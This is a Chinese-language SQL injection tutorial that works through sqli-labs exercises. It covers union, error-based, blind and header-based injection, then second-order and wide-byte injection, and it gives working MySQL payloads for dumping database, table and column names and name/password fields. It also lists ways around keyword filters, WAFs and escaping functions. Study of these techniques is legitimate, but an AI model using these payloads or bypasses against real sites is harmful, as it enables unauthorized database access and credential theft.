Sql注入定義:
就是通過(guò)把sql命令插入到web表單提交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行的sql命令的目的
sql注入分類:
基于聯(lián)合查詢
基于錯(cuò)誤回顯
基于盲注,分時(shí)間盲注和布爾型的盲注
基于user-agent
基于feferer
基于cookie
二次注入
寬字節(jié)注入
注入一個(gè)網(wǎng)站時(shí),我們先要找出后臺(tái)構(gòu)造的查詢語(yǔ)句,然后判斷是否存在注入點(diǎn)。
常規(guī)的找出查詢語(yǔ)句的方法是在后面加’“‘)“),看是否報(bào)錯(cuò),然后用and 1=1和and 1=2判斷是否存在注入點(diǎn),然后根據(jù)情況用不同的方法注入。
1.聯(lián)合查詢:
通過(guò)執(zhí)行等同于將一個(gè)表追加到另一個(gè)表的操作來(lái)組合兩個(gè)表的查詢
首先來(lái)了解下mysql的系統(tǒng)函數(shù)
user() :當(dāng)前使用者的用戶名
database():當(dāng)前數(shù)據(jù)庫(kù)名
version():數(shù)據(jù)庫(kù)版本
datadir:讀取數(shù)據(jù)庫(kù)的絕對(duì)路徑
@@vasedir:mysql安裝路徑
@@version_compile_os:操作系統(tǒng)
concat():連接一個(gè)或者多個(gè)字符串
group_concat():連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù)
UNION 用于合并兩個(gè)或多個(gè) SELECT 語(yǔ)句的結(jié)果集,并消去表中任何重復(fù)行。
UNION 內(nèi)部的 SELECT 語(yǔ)句必須擁有相同數(shù)量的列,列也必須擁有相似的數(shù)據(jù)類型。同時(shí),每條 SELECT 語(yǔ)句中的列的順序必須相同.默認(rèn)地,UNION 操作符選取不同的值。如果允許重復(fù)的值,請(qǐng)使用 UNION ALL。當(dāng) ALL 隨 UNION 一起使用時(shí)(即 UNION ALL),不消除重復(fù)行
order by 用于對(duì)結(jié)果集進(jìn)行排序
mysql 5.0版本以后提供了information.schema表,表中記錄了數(shù)據(jù)庫(kù)中所有的庫(kù)、表、列等信息
理解Schema,schemata,schema_name,table_schema(這是我學(xué)習(xí)過(guò)程中最混淆的地方)
SCHEMATA表:儲(chǔ)存mysql所有數(shù)據(jù)庫(kù)的基本信息,包括數(shù)據(jù)庫(kù)名,編碼類型路徑等,show databases的結(jié)果取之此表。
TABLES表:儲(chǔ)存mysql中的表信息,(當(dāng)然也有數(shù)據(jù)庫(kù)名這一列,這樣才能找到哪個(gè)數(shù)據(jù)庫(kù)有哪些表嘛)包括這個(gè)表是基本表還是系統(tǒng)表,數(shù)據(jù)庫(kù)的引擎是什么,表有多少行,創(chuàng)建時(shí)間,最后更新時(shí)間等。show tables from schemaname的結(jié)果取之此表
COLUMNS表:提供了表中的列信息,(當(dāng)然也有數(shù)據(jù)庫(kù)名和表名稱這兩列)詳細(xì)表述了某張表的所有列以及每個(gè)列的信息,包括該列是那個(gè)表中的第幾列,列的數(shù)據(jù)類型,列的編碼類型,列的權(quán)限,注釋等。是show columns from schemaname.tablename的結(jié)果取之此表
找到注入點(diǎn)后,我們用order by語(yǔ)句查詢數(shù)據(jù)庫(kù)中存在多少數(shù)據(jù)表
確定多少個(gè)表,為了便于說(shuō)明,假設(shè)有三個(gè)數(shù)據(jù)表,
Order by 3 返回正常
order by 4返回錯(cuò)誤
然后使用and 1=2 union select 1,2,3 %23爆出可以回顯敏感信息的位置,假設(shè)在2和3上
下面我們就要查詢敏感信息了,就要用到上面所說(shuō)的系統(tǒng)函數(shù)了
and 1=2 union select 1,version(),database()可以爆出當(dāng)前使用的版本和數(shù)據(jù)庫(kù)名
and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出數(shù)據(jù)庫(kù)名,依次使用limit2,1往下爆庫(kù)名,也可以使用group_concat函數(shù)全部爆出來(lái) and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23?。
我們假設(shè)其中有flag庫(kù)
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’爆出flag庫(kù)下的所有的表,假設(shè)其中有flagtable表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段,假設(shè)有name和password字段
and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable爆出flag下的flagtable表的name和password的內(nèi)容
2.基于錯(cuò)誤回顯
基于錯(cuò)誤回顯的sql注入就是通過(guò)sql語(yǔ)句的矛盾性來(lái)使數(shù)據(jù)被回顯到頁(yè)面上
所用到的函數(shù)
count() 統(tǒng)計(jì)元祖的個(gè)數(shù)(相當(dāng)于求和)
如select count(*) from information_schema.tables;
rand()用于產(chǎn)生一個(gè)0~1的隨機(jī)數(shù)
floor()向下取整
group by 依據(jù)我們想要的規(guī)矩對(duì)結(jié)果進(jìn)行分組
concat將符合條件的同一列中的不同行數(shù)據(jù)拼接,以逗號(hào)隔開
首先看一下關(guān)于rand()函數(shù)與group by 在mysql中的錯(cuò)誤報(bào)告,我們就是要利用group by part of rand() returns duplicate key error這個(gè)bug。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
這個(gè)bug會(huì)爆出duplicate key這個(gè)錯(cuò)誤,然后順便就把數(shù)據(jù)也給爆了
公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想獲取的數(shù)據(jù)的sql語(yǔ)句))x from information_schema.tables group by x )a) and '1' = '1
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(schema_name) from information_schema.schemata ?) )name from information_schema.tables group by name)a) %23爆出所有庫(kù)名,同上面一樣,假設(shè)有falg庫(kù)
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(table_name) from information_schema.tables where table_schema=’flag’ ?) )name from information_schema.tables group by name)a) %23爆出flag下的所有表,假設(shè)有flagtable表
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’ ?) )name from information_schema.tables group by name)a) %23爆出flagtable表的所有字段,假設(shè)有name和password
and (select 1 from (select count(*),concat(floor(rand()*2),0x23,( ?select group_concat(name,password) fromflag.flagtable) )name from information_schema.tables group by name)a) %23爆出name和password字段的內(nèi)容
3. ?sql盲注
在不知道數(shù)據(jù)庫(kù)具體返回值的情況下對(duì)數(shù)據(jù)庫(kù)中的內(nèi)容進(jìn)行猜解,實(shí)施sql注入,一般分為基于布爾和基于時(shí)間類型的盲注。
3.1 基于布爾型的sql盲注:
返回的界面只有兩種情況,即TRUE和FALSE,這樣說(shuō)并不是很準(zhǔn)確,因?yàn)镾QL查詢無(wú)非就這兩種情況,應(yīng)該說(shuō)是盲注的時(shí)候你只能得到一個(gè)正常的頁(yè)面或者是什么頁(yè)面的不存在,甚至你在查詢表的記錄過(guò)程也不會(huì)有顯示。
首先了解幾個(gè)函數(shù)
length()返回字符串的長(zhǎng)度
substr()截取字符串
ascii()返回字符的ascii碼
爆數(shù)據(jù)庫(kù)的路徑
and ascii(substr(@@datadir,1,1))>69 %23然后使用二分法一步一步確定。
爆所有的數(shù)據(jù)庫(kù)名
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23?limit函數(shù)爆出的是第二個(gè)數(shù)據(jù)庫(kù)的第一個(gè)字符,同上,假設(shè)其中一個(gè)庫(kù)名為flag
爆數(shù)據(jù)庫(kù)表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit 0,1),1,1)))>100 %23假設(shè)其中一個(gè)表名為flagtable
爆出數(shù)據(jù)庫(kù)的列名
and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit 0,1),1,1)))>100 %23,假設(shè)其中列名為name和password
爆出列里的數(shù)據(jù)內(nèi)容
and ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1),1,1))>48 %23
這樣我們就一步一步的爆出數(shù)據(jù)庫(kù)的信息了
3.2 基于時(shí)間的盲注
web頁(yè)面的返回值只有一種,true,無(wú)論輸入任何值,它的返回都會(huì)按正確的來(lái)處理。加入特定的時(shí)間函數(shù),通過(guò)查看是web頁(yè)面返回的時(shí)間差來(lái)判斷注入的語(yǔ)句是否正確
sleep()函數(shù)
執(zhí)行將程序(進(jìn)程)掛起一段時(shí)間
if(expr1,ecpr2,expr3)判斷語(yǔ)句
爆庫(kù)名
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23使用二分法,一步一步爆出數(shù)據(jù)庫(kù)名,假設(shè)其中有一數(shù)據(jù)庫(kù)名為flag
爆表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’limit1,1) ,1,1))>101,1,sleep(3)) %23假設(shè)有一表名為flagtable
爆列名
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’limit1,1) ,1,1))>100,1,sleep(3)) %23,假設(shè)爆出列名為name和password
爆表中的內(nèi)容
and if(ascii(substr((selectgroup_concat(name,password)from flag.flagtable limit 0,1) ,1,1))>48,1,sleep(3)) %23
4.基于user-agent的注入
用戶代理(user agent)是記錄軟件程序的客戶端信息的HTTP頭字段,他可以用來(lái)統(tǒng)計(jì)目標(biāo)和違規(guī)協(xié)議。在HTTP頭中應(yīng)該包含它,這個(gè)字段的第一個(gè)空格前面是軟件的產(chǎn)品名稱,后面有一個(gè)可選的斜杠和版本號(hào)。
并不是所有的應(yīng)用程序都會(huì)被獲取到user-agent信息,但是有些應(yīng)用程序利用它存儲(chǔ)一些信息(如:購(gòu)物車)。
HTTP查詢實(shí)例:
GET /index.phpHTTP/1.1
Host: [host]
User-Agent: aaa’ or 1/*
我們將火狐設(shè)置為本地代理,然后用brup suite抓包。
然后將包發(fā)送到Repeater
在user-Agent修改為’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#
就爆出了數(shù)據(jù)庫(kù)的庫(kù)名flag了,這是sqli-labs第十八關(guān)的測(cè)試結(jié)果,構(gòu)造爆出表列的語(yǔ)句和基于錯(cuò)誤回顯的語(yǔ)句一樣,這里就不多做說(shuō)明了。
5.基于頭部Referer注入
http referer是header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請(qǐng)求的時(shí)候,一般會(huì)帶上referer,告訴服務(wù)器我是從哪個(gè)頁(yè)面鏈接過(guò)來(lái)的,服務(wù)器以此可以獲得一些信息用于處理
以下測(cè)試基于sqli-labs第十九關(guān)的測(cè)試結(jié)果
在referer中輸入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )#爆出數(shù)據(jù)庫(kù)名為flag,其他注入語(yǔ)句和上雷同。
6.基于cookie的注入
cookie(存儲(chǔ)在用戶本地終端上的數(shù)據(jù))有服務(wù)器生成,發(fā)給user-agent(一般是瀏覽器),瀏覽器會(huì)把cookie的key/value保存到某個(gè)目錄下的文本文件內(nèi),下次請(qǐng)求同一網(wǎng)站時(shí)就會(huì)發(fā)送還cookie給服務(wù)器(前提是瀏覽器設(shè)置為啟用cookie)。cookie名稱和值可以有服務(wù)器端開發(fā)自己定義,對(duì)于jsp而言也可以直接寫入jessionid,這樣服務(wù)器可以知道該用戶是否合法用戶以及是否需要重新登錄等,服務(wù)器keyhi設(shè)置或讀取cookie中包含信息,借此維護(hù)用戶跟服務(wù)器會(huì)話中的狀態(tài)。
火狐中插件friebug對(duì)其修改,或用burp suite抓包修改
以下測(cè)試結(jié)果基于sqli-labs 第二十關(guān)
在cookie中加單引號(hào)測(cè)試報(bào)錯(cuò),證明存在注入。然后在cookie中輸入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同樣爆出的庫(kù)名flag
對(duì)于GET和POST的區(qū)別:
當(dāng)然,上面所說(shuō)的全是在裸機(jī)的情況下的結(jié)果,在正常情況下,會(huì)有些防護(hù)措施。下面介紹些繞過(guò)的方法。
1.base64編碼
base64編碼的思想是采用64個(gè)基本的ascii碼字符對(duì)數(shù)據(jù)進(jìn)行重新編碼。它將需要編碼的數(shù)據(jù)拆分字節(jié)數(shù)組。以3個(gè)字節(jié)為一組,按順序排列24位數(shù)據(jù),再把24位數(shù)據(jù)分成4組,即每組6位,再在每組的最高位前補(bǔ)兩個(gè)0湊足一個(gè)字節(jié),這樣把一個(gè)3字節(jié)為一組的數(shù)據(jù)重新編碼成4個(gè)字節(jié)。當(dāng)所要編碼的數(shù)據(jù)的字節(jié)不是3的整數(shù)倍,這時(shí),在最后一組填充1到2個(gè)0字節(jié)。并在最后編碼完成后在結(jié)尾添加1到2個(gè)”=“。
關(guān)于這個(gè)編碼的規(guī)則:
①.把3個(gè)字符變成4個(gè)字符。
②每76個(gè)字符加一個(gè)換行符。
③.最后的結(jié)束符也要處理。
在火狐的插件heckbar中有此功能
1.過(guò)濾關(guān)鍵字符
and——&&
or——||
空格被過(guò)濾
可以使用”%09%0A%0C%0D%0B”替代,也可以用or和and語(yǔ)句來(lái)構(gòu)造到達(dá)閉合語(yǔ)句的效果。
union select過(guò)濾
使用大小寫繞過(guò),如UNion,SElect
多次重復(fù),如ununionion,selselectect
在union select聯(lián)合使用被過(guò)濾的情況,unionallselect
2.WAF應(yīng)用防護(hù)系統(tǒng)
php get 獲取參數(shù)時(shí)有一個(gè)特性,當(dāng)某個(gè)參數(shù)被多次賦值時(shí)會(huì)保留最后一次被賦值時(shí)的值。如id=1&id=&2&id=3這時(shí),程序會(huì)返回id=3的值,但WAF只對(duì)第一次的id進(jìn)行測(cè)試,如果傳入多個(gè)id,那么后面的id則存在注入漏洞
輸入id=1&id=&2&id=3‘就會(huì)出現(xiàn)報(bào)錯(cuò)
二次注入
注入過(guò)程分為兩個(gè)部分,語(yǔ)句插入和語(yǔ)句執(zhí)行。常規(guī)的注入中都是將sql語(yǔ)句插入后即可顯示效果,出錯(cuò)或者得出注入結(jié)果,而二次注入的第一步不會(huì)產(chǎn)生任何反應(yīng),因?yàn)樗皇且粋€(gè)語(yǔ)句的插入,并沒(méi)有執(zhí)行,在第二步運(yùn)行時(shí)才能執(zhí)行第一步插入的語(yǔ)句并顯示結(jié)果。而這兩個(gè)點(diǎn)可能不在同一位置。
此時(shí)修改密碼,單引號(hào)閉合語(yǔ)句,井號(hào)注釋后面的語(yǔ)句,修改的就不是admin’#的密碼了,而是admin的密碼
寬字節(jié)注入
GB2312 , GBK , GB18030 , BIG5 , SHIFT_JIS 等這些都是常說(shuō)的寬字節(jié)(兩個(gè)字節(jié)),ascii就是單字節(jié)(一個(gè)字節(jié))
GBK編碼,他的范圍是0x8410~0xFEFE(不包括xx7F)ascii編碼,他的編碼范圍是ascii(0)~ascii(127),另外有一個(gè)擴(kuò)展ascii打印字符,他的范圍是ascii(128)~ascii(255)
addslashes()函數(shù)
在每個(gè)字符前添加反斜杠:\
my_sql_real_escape_string()
my_sql_real_escape_string()函數(shù)轉(zhuǎn)義sql語(yǔ)句中使用的字符串中的特殊符:\x00? ,? \n? , \r? ,? \? ,? ' ,? "?? ,? 、x1a
id=1,我們?cè)诤竺婕覇我?hào),雙引號(hào)都返回正常,因?yàn)楸惶砑臃葱备芑蜣D(zhuǎn)義了,此時(shí)我們可以在測(cè)試字符前加%bf
id=1%bf’就會(huì)報(bào)錯(cuò)了